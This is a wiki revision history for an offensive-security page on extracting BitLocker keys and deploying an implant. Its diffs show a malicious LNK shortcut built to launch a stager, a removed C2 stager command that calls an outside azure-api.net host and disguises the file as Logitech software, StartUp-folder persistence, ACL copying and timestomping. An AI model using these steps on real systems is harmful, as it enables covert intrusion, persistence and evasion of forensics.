Offensive Security/Extract BitLocker VMK from TPM - Revision history

Administrator at 08:15, 18 February 2026

2026-02-18T08:15:25Z

← Older revision		Revision as of 08:15, 18 February 2026
Line 418:		Line 418:
	<syntaxhighlight lang="bash">		<syntaxhighlight lang="bash">
	/home/alaa/mslink_v1.3.sh \		/home/alaa/mslink_v1.3.sh \
	-o ~~logioptionsplus~~.lnk \		-o stager.lnk \
	-w 'C:\Users\domainusers\AppData\Local\YourStager' \		-w 'C:\Users\domainusers\AppData\Local\YourStager' \
	-l 'C:\Users\domainusers\AppData\Local\YourStager\stager.exe'		-l 'C:\Users\domainusers\AppData\Local\YourStager\stager.exe'
Line 428:		Line 428:
	setfattr -n system.ntfs_acl -v \		setfattr -n system.ntfs_acl -v \
	"$(cat /mnt/Users/domainuser/AppData/Local/perms.txt \| cut -d'=' -f2 \| head -n2 \| tail -n1)" \		"$(cat /mnt/Users/domainuser/AppData/Local/perms.txt \| cut -d'=' -f2 \| head -n2 \| tail -n1)" \
	~~logioptionsplus~~.lnk		stager.lnk
	</syntaxhighlight>		</syntaxhighlight>

Line 436:		Line 436:
	touch -d "2 hours ago" filename		touch -d "2 hours ago" filename
	</syntaxhighlight>		</syntaxhighlight>

			== Detection ==

			TODO


	[[Category:Offensive Security]]		[[Category:Offensive Security]]

2026-02-18T08:14:10Z

Creating LNK File

← Older revision		Revision as of 08:14, 18 February 2026
Line 419:		Line 419:
	/home/alaa/mslink_v1.3.sh \		/home/alaa/mslink_v1.3.sh \
	-o logioptionsplus.lnk \		-o logioptionsplus.lnk \
	-w 'C:\Users\domainusers\AppData\Local\~~LogiOptionsPlus~~' \		-w 'C:\Users\domainusers\AppData\Local\YourStager' \
	-l 'C:\Users\domainusers\AppData\Local\~~LogiOptionsPlus~~\~~logioptionsplus~~.exe'		-l 'C:\Users\domainusers\AppData\Local\YourStager\stager.exe'
	</syntaxhighlight>		</syntaxhighlight>

2026-02-18T08:13:43Z

Deploying Stager

← Older revision		Revision as of 08:13, 18 February 2026
Line 389:		Line 389:
	=== Deploying Stager ===		=== Deploying Stager ===

	~~<syntaxhighlight lang="bash">~~		The stager should be added to a users StartUp folder.
	~~stagers create-http NodeNative net481 https://logic-update.azure-api.net \~~
	~~--filename UserCache \~~
	~~--userAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0"~~
	~~</syntaxhighlight>~~

	~~Copy the <code>UserCache</code> file~~ to ~~the LogiOptionsPlus~~ folder~~, then copy the content to the target under:~~
	~~<code>C:\Users\username\AppData\Local\</code>~~

	=== Setting File Permissions ===		=== Setting File Permissions ===

2026-02-18T08:11:46Z

Decrypting the Drive

← Older revision		Revision as of 08:11, 18 February 2026
Line 126:		Line 126:
	sudo umount /media/bitlocker		sudo umount /media/bitlocker
	</syntaxhighlight>		</syntaxhighlight>

	~~Contact PwC Forensics to help with cloning or imaging of the disk, as they have the appropriate tools.~~

	== Creating a Bootable VMDK from BitLocker-Encrypted Windows Disk ==		== Creating a Bootable VMDK from BitLocker-Encrypted Windows Disk ==

2026-02-18T08:10:18Z

2026-02-17T22:30:30Z

← Older revision		Revision as of 22:30, 17 February 2026
(No difference)

2026-02-17T22:29:34Z

← Older revision		Revision as of 22:29, 17 February 2026
Line 1:		Line 1:
	== Extract		== Extract


			[[Category:Offensive Security]]

2026-02-17T22:25:40Z

Created page with "== Extract"

New page

== Extract